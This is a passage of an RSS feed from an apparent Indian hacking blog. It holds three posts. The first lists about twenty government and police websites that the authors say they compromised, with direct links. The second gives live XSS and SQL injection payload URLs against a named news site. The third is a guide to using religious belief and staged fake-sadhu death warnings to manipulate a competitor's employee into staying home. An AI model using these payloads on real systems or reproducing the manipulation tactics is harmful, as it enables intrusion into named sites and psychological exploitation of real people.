<p>Here&#8217;s the truth. CERT does not have any system for Incident Reporting. Even if you report an Incident, they won&#8217;t respond back to you. In August 2006, we reported close to 40+ Government related websites (Including the president&#8217;s) that were vulnerable to hacking. We gave exact links, documented proof, video&#8217;s (yes, even recorded videos!) and screenshots. This report was also sent to major news channels. What happened? Nothing! With anguish, we could only watch our Indian websites being hacked over time.</p>
<p><strong>NIC : Helping Hackers?</strong></p>
<p>Almost all government related websites are developed and maintained by NIC. And almost every website has a host of vulnerabilities that a defacer can take advantage of. I wonder why NIC does not have a decent security training with all that money from the Government? With e-governance on the rise, it will be dangerous if Indian Government does not take a serious look at lack of Information Security awareness.</p>
<p><strong>So what can be done?</strong></p>
<p>I think the Government must move fast towards gearing for Cyber warfare. This is where the real battle lies. With the vast confusing mesh of departments, it&#8217;s best for the Government to seek some professional advice. Here are some suggestions:</p>
<p>1. Acknowledge Hackers and work WITH them. Encourage Open Disclosure.</p>
<p>2. Support Indian Hacker groups and community.</p>
<p>3. Facilitate Cyber Crime awareness in Academics. Utilize local youths as volunteers for solving cyber crime cases.</p>
<p>4. Make it mandatory for all lawyers to upgrade their technical skills and awareness of Cyber Crime.</p>
<p>5. Consult the corporate before drafting or making further ammendments in the IT Act Law</p>
<p>6. Understand the importance of Training and impart the same to the right people. And not expect it to be delivered free by some company.</p>
<p>7. Establish cooperation between different agencies for faster resolution of problems.</p>
<p><strong>Open Disclosure &#8211; Hacked Websites (Not in NEWS yet)<br />
</strong></p>
<p>Here is a small list of websites.. that were hacked / compromized by the team and notified to the Cyber Crime Cell / Government but nothing has been done to rectify it:</p>
<p><a href="http://nitpu2.kar.nic.in/passchd/login.asp" target="_blank">Passport Office Chandigarh</a></p>
<p><a href="http://jcc.tmc.gov.in/jcc/logon/logon.asp?UserType=A" target="_blank">Tata Memorial Hospital</a></p>
<p><a href="http://www.cbfcindia.gov.in" target="_blank">Ministry of Information and Broadcasting</a></p>
<p><a href="http://rajshiksha.gov.in" target="_blank">Dept. Of Education &#8211; Govt. of Rajasthan</a></p>
<p><a href="http://www.easternrailway.gov.in/" target="_blank">official website for Eastern Railway</a></p>
<p><a href="http://dotsoft.aptelecom.gov.in/" target="_blank">BSNL &#8211; Dotsoft Development Center</a></p>
<p><a href="http://mod.nic.in/" target="_blank">Ministry of Defence</a></p>
<p><a href="http://www.pmindia.gov.in/" target="_blank">Prime Minister of India &#8211; PMOs Office</a></p>
<p><a href="http://dpg.bharatsarkar.nic.in" target="_blank">Directorate of Public Grievances</a></p>
<p><a href="http://cic.gov.in/" target="_blank">Central Information Commission &#8211; CIC</a></p>
<p><a href="http://cvc.gov.in/" target="_blank">Central Vigilance Commission &#8211; CVC</a></p>
<p><a href="http://www.eci.gov.in/" target="_blank">Election Commission of India</a></p>
<p><a href="http://mahapolice.gov.in/" target="_blank">Maharashtra State Police Website</a></p>
<p><a href="http://www.dte.org.in/" target="_blank">Directorate of Technical Education Maharashtra</a></p>
<p><a href="http://www.mumbaipolice.org/" target="_blank">Mumbai Police</a></p>
<p><a href="http://scclmines.com/Home.asp" target="_blank">The Singareni Collieries Company Ltd</a></p>
<p><a href="http://admis.hp.nic.in/sic/login.asp" target="_blank">State Information Commission &#8211; Himachal Pradesh</a></p>
<p><a href="http://pms.up.nic.in/" target="_blank">NIC &#8211; Project Progress Monitoring System</a></p>
<p><a href="http://demo.mp.nic.in/phemis/VIDHAN/Login.asp" target="_blank">Public Health Engineering Department</a></p>
<p><a href="http://teaboard.gov.in/login.asp" target="_blank">Tea Board of India</a></p>
<p>This is only a partial list of vulnerable sites. Feel free to reach us for further information (concerned webmasters can contact for free resolution / technical support of the issues).</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/orchidseven.wordpress.com/10/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/orchidseven.wordpress.com/10/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=10&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2008/05/17/why-the-indian-government-fails-to-curb-terrorism-as-i-see-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>
	</item>
		<item>
		<title>Cross Site Scripting &amp; SQL Injection in www.ndtvprofit.com</title>
		<link>http://orchidseven.wordpress.com/2008/01/13/cross-site-scripting-sql-injection-in-wwwndtvprofitcom/</link>
		<comments>http://orchidseven.wordpress.com/2008/01/13/cross-site-scripting-sql-injection-in-wwwndtvprofitcom/#comments</comments>
		<pubDate>Sun, 13 Jan 2008 19:13:46 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
		
		<guid isPermaLink="false">http://orchidseven.wordpress.com/2008/01/13/cross-site-scripting-sql-injection-in-wwwndtvprofitcom/</guid>
		<description><![CDATA[Cross site scripting (XSS) and SQL Injection in www.ndtvprofit.com www.ndtvprofit.com SQL Injection / Attacks SQL &#8211; Query Image&#8211;&#62; www.ndtvprofit.com - rajsm orchidseven<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=7&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Cross site scripting (XSS) and SQL Injection in www.ndtvprofit.com</p>
<p><a href="http://www.ndtvprofit.com/homepage/archives.asp?searchtextfordisplay=%3CSCRIPT%3Ealert%28%22What+the+F%21%22%29%3C%2FSCRIPT%3E&amp;image1.x=11&amp;image1.y=20&amp;pg=1&amp;tenpg=0&amp;chpg=n&amp;visited=true&amp;result=30&amp;wordmatch=AllWords" title="XSS in www.ndtvprofit.com" target="_blank">www.ndtvprofit.com </a></p>
<p>SQL Injection / Attacks</p>
<p><a href="http://www.ndtvprofit.com/homepage/archives.asp?searchtextfordisplay=%27+or+1%3D1--&amp;image1.x=20&amp;image1.y=22&amp;pg=1&amp;tenpg=0&amp;chpg=n&amp;visited=true&amp;result=30&amp;wordmatch=AnyWords" title="SQL-query">SQL &#8211; Query</a></p>
<p>Image&#8211;&gt; <a href="http://img186.imageshack.us/img186/5227/ndtvprofitrp6.jpg" title="SQL injection" target="_blank">www.ndtvprofit.com</a><br />
- rajsm</p>
<p>orchidseven</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/orchidseven.wordpress.com/7/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/orchidseven.wordpress.com/7/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=7&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2008/01/13/cross-site-scripting-sql-injection-in-wwwndtvprofitcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>
	</item>
		<item>
		<title>Part 1 &#8211; Exploiting Religion and Occult Science for Hacking</title>
		<link>http://orchidseven.wordpress.com/2007/12/27/part-1-exploiting-religion-and-occult-science-for-hacking/</link>
		<comments>http://orchidseven.wordpress.com/2007/12/27/part-1-exploiting-religion-and-occult-science-for-hacking/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 21:47:09 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
		
		<guid isPermaLink="false">http://orchidseven.wordpress.com/2007/12/27/part-1-exploiting-religion-and-occult-science-for-hacking/</guid>
		<description><![CDATA[Introduction In first part of this series, we will look at how we can use religion and occult science to exploit people and use it to our advantage. It is easy to slip into debates related to religion and global issues, so we will focus on how to use the &#8220;art&#8221; to exploit a specific [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=5&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p align="justify"><b>Introduction</b></p>
<div align="justify"></div>
<p align="justify">In first part of this series, we will look at how we can use religion and occult science to exploit people and use it to our advantage. It is easy to slip into debates related to religion and global issues, so we will focus on how to use the &#8220;art&#8221; to exploit a specific target with some examples and case studies. The subject itself is controversial in nature, so it&#8217;s best we kept aside the moral values and ethics for a later discussion.</p>
<div align="justify"></div>
<p align="justify"><b>Overview of Reality Hacking</b></p>
<div align="justify"></div>
<p align="justify">Before we start, lets understand what hacking is and what a system is. Most people say, &#8216;hacking is about stealing passwords and getting the root&#8217;&#8230; or something similar. And a system is any computer or network which we want to hack. But in true sense, hacking is not just about passwords. It&#8217;s about improvising a process or taking advantage of a system as a whole. A system consists of people, process and technology. So, even the entire company is a system. The way nature operates is a form of system. Even the way you do your daily routine and spend time with your family is a system. And hacking can be applied just anywhere, by studying it carefully. This view is generally known as reality hacking, and is similar to the final climax of Matrix, where Neo finally believes in himself and sees everything, including himself as a part of Matrix.</p>
<div align="justify"></div>
<p align="justify"><b>Occult science in everyday life.</b></p>
<div align="justify"></div>
<p align="justify">How many times have you read or seen people reading the daily astrology column in newspapers? or, how many times have you shown your hand to a common friend or a &#8216;hand-reading expert&#8217; to know the future? How much of it do you believe really?</p>
<div align="justify"></div>
<p align="justify"><b><i>Some examples:</i></b></p>
<div align="justify"></div>
<p align="justify">In India, almost every marriage is done only if the &#8220;stars&#8221; match. You would face considerable resistance from old grannies and mothers in getting married to the girl you like, if the &#8216;kundalis&#8217; do not match. Imagine, a small astrological chart can actually determine if your family approves your relationship or not!</p>
<div align="justify"></div>
<p align="justify">The home interiors, design and furniture is largely determined by &#8220;vaastu shastra&#8221; in many Indian homes. Even today, new apartments or flats are rejected if they do not satisfy the aspects of Vaastu! So if you are a builder, you have a slightly better chance of selling your newly constructed buildings / homes if you promote them as designed as per Vaastu Shastra in certain parts of India!</p>
<div align="justify"></div>
<p align="justify">Huge donations are given in name of &#8220;Pooja&#8221; or &#8220;Homam&#8221; which are held almost every month some place or other to ward of evil spirits, seek blessings of god and bring peace and harmony. The revenue generated by these donations qualify the religious bodies to be listed in Stock markets! For example, the annual turnover of &#8220;Tirumala Tirupati Devasthanam&#8221; (One of the largest religious bodies in India) is over &#8220;135,093,956.32&#8243; USD! Not to mention reserves.</p>
<div align="justify"></div>
<p align="justify">Again, some of the largest riots and acts of violence are due to differences between religious communities. We have witnessed thousands of people being killed on the name of religion and justice. As they say, even today most people are judged by the color of their skin.</p>
<div align="justify"></div>
<p align="justify"><b>People and Belief</b></p>
<div align="justify"></div>
<p align="justify">As we saw from the above examples, it does not matter if you believe in any forms of occult or religion. What matters is many people do. And this belief is the single largest factor to utilize it for your advantage. Over many years i have noticed that gaining trust is easiest when you share your victims belief or add weight to it by your experiences or stories.</p>
<div align="justify"></div>
<p align="justify">It is not hard to find out if your victim can be exploited or not. One can start with a simple sociological game like &#8220;nowadays&#8221; or &#8220;Ain&#8217;t it awful&#8221; and quickly move towards stating a personal problem that got resolved due to a certain &#8220;practice&#8221;. For instance, one can say &#8220;you know, i was thinking of purchasing this plot, but luckily i had been to this astrologer and you won&#8217;t believe it, he said i should not make the purchase as it was not a good period. Just yesterday i came to know that the plot was actually having a lot of legal issues and that it had being seized.&#8221; Depending on the person or place, stories like this might actually work. If you sound convincing enough, then your victim asks for the address and decides to test the astrologer out.</p>
<div align="justify"></div>
<p align="justify">If you can recollect your days at college, there would be at least one guy who would have claimed to read hands, and all girls would flock around him to ask the same stupid questions, &#8220;When will i get married?&#8221;; &#8220;Will i go abroad?&#8221;; &#8220;Will my husband be good looking?&#8221;; &#8220;Will i get first class in my exams?&#8221; or more family oriented ones like &#8220;Will i always take care of my mother and father?&#8221;; &#8220;What about my mothers health?&#8221; or &#8220;Will i get a job soon?&#8221; and things like that.</p>
<div align="justify"></div>
<p align="justify">To tell you how serious this can be, once out of frustration i replied to a girl that she will have two marriages and that she would get a divorce from her first husband within six months. Before i could realize, she fainted out of shock and fell down the staircase. It was very difficult for me to later tell her that it was just a joke and that she would actually be happy in a single long lasting marriage. This is not an isolated case.</p>
<div align="justify"></div>
<p align="justify">People believe &#8220;predictions&#8221; when given in a right environment and though most of them can act as &#8220;self-fulfilling prophecies&#8221;, it is natural to be concerned when you are warned of danger.</p>
<div align="justify"></div>
<p align="justify">Now how can ones belief help you in hacking? In any business, if crucial sales professionals or account managers leave a company or are not available for active follow up, they will lose a great amount of business to competitors. Is there any way we can &#8220;hack&#8221; into a TAM or pre-sales professionals mind and make them not report to office for a few days for a possible business advantage?</p>
<div align="justify"></div>
<p align="justify"><b>A Real Corporate Sabotage example using Occult</b></p>
<div align="justify"></div>
<p align="justify">In Mumbai, at Andheri, there are over 3000 companies with corporate offices. On any given working day, there are over 120 odd IT security Pre-sales guys trying to sell their services in various sectors. In such a cut throat competition, it is vital that presentations or proposals are given on time. It is also obvious that not all can qualify for certain jobs and that only few competitors remain in the end.</p>
<div align="justify"></div>
<p align="justify">Company X wanted the deal at all costs. What can it do to prevent company Y from winning this order? It was then that they tried out a simple plan. Krishna (let&#8217;s say) was a pre-sales guy working with company Y. He used to commute daily from Dombivili to Andheri by local train via Dadar. Company X studied the daily activity of Krishna for a few days and strategically sent a sadhu early morning at his area.</p>
<p align="justify">&nbsp;</p>
<div style="text-align:center;"><img src="http://i132.photobucket.com/albums/q23/orchidseven/Sadhu.jpg" alt="Sadhu" /></div>
<div style="text-align:center;"></div>
<div align="justify"></div>
<p align="justify">When Krishna came out as usual for going to office, the sadhu came forward and asked for a rupee but instead stopped haphazardly and gave him a cold spooky stare before saying &#8220;your death is near&#8230; you are going die in a train accident in less than a week&#8221; (In reality, it was very dramatic).  Saying this he gave a &#8220;you-are-doomed&#8221; laugh and quickly walked away.</p>
<div align="justify"></div>
<p align="justify">Now what do you think would be the effect? Surprised, Krishna paused for a few seconds and regained his composure before moving to his work place as usual.  After two days, company X sent another sadhu who &#8220;accidentally&#8221; crossed Krishna&#8217;s path and suddenly froze before giving him the &#8220;look&#8221;.</p>
<div align="justify"></div>
<p align="justify">This time the sadhu said &#8220;son, your life is in danger. Stay at home and recite the ‘hanuman chalisa&#8217; everyday if you want the danger to pass away.&#8221; Blessing him, the sadhu started moved away chanting mantras. But this time Krishna quickly called him and asked what the danger was. The Sadhu replied that the period was extremely bad for him for he has not fulfilled a promise made to god. And the only way out was to stay indoors for a week or so chanting ‘hanuman chalisa&#8217; 108 times a day. During this time he should not travel anywhere as it would surely put him in danger of losing his life.</p>
<div align="justify"></div>
<p align="justify">Even now, the company X did not know how Krishna would react to all this. Krishna thanked the Sadhu, gave him a 50 Rupee note and moved towards office. But soon the two separate incidents of being warned of death put Krishna in the desired state of mind. By the time he reached Dadar, he changed his mind and went back home instead of office. In the next few hours Krishna called in &#8220;sick&#8221;.</p>
<div align="justify"></div>
<p align="justify">With an able pre-sales guy not attending office due to &#8220;sudden illness&#8221; had its toll on the overall aggressiveness of the business of company Y. Even though company Y sent out another sales guy to handle the job, he did not share the same rapport and comfort as Krishna did with his customers. In less than a week, company X was able to close a crucial deal from an energy based company that was worth over INR .85,00,000/- because of less competition.</p>
<div align="justify"></div>
<p align="justify">As for Krishna, he traveled with great caution for the next one month in local trains.</p>
<div align="justify"></div>
<p align="justify">If you feel that the above incident was just a coincidence and that not all would fall for such a story, then wait until a sadhu comes round the corner and tells you something worse about your little son or daughter.</p>
<div align="justify"></div>
<p align="justify">To be continued&#8230;</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/orchidseven.wordpress.com/5/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/orchidseven.wordpress.com/5/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/5/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=5&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2007/12/27/part-1-exploiting-religion-and-occult-science-for-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>

		<media:content url="http://i132.photobucket.com/albums/q23/orchidseven/Sadhu.jpg" medium="image">
			<media:title type="html">Sadhu</media:title>
		</media:content>
	</item>
	</channel>
</rss>
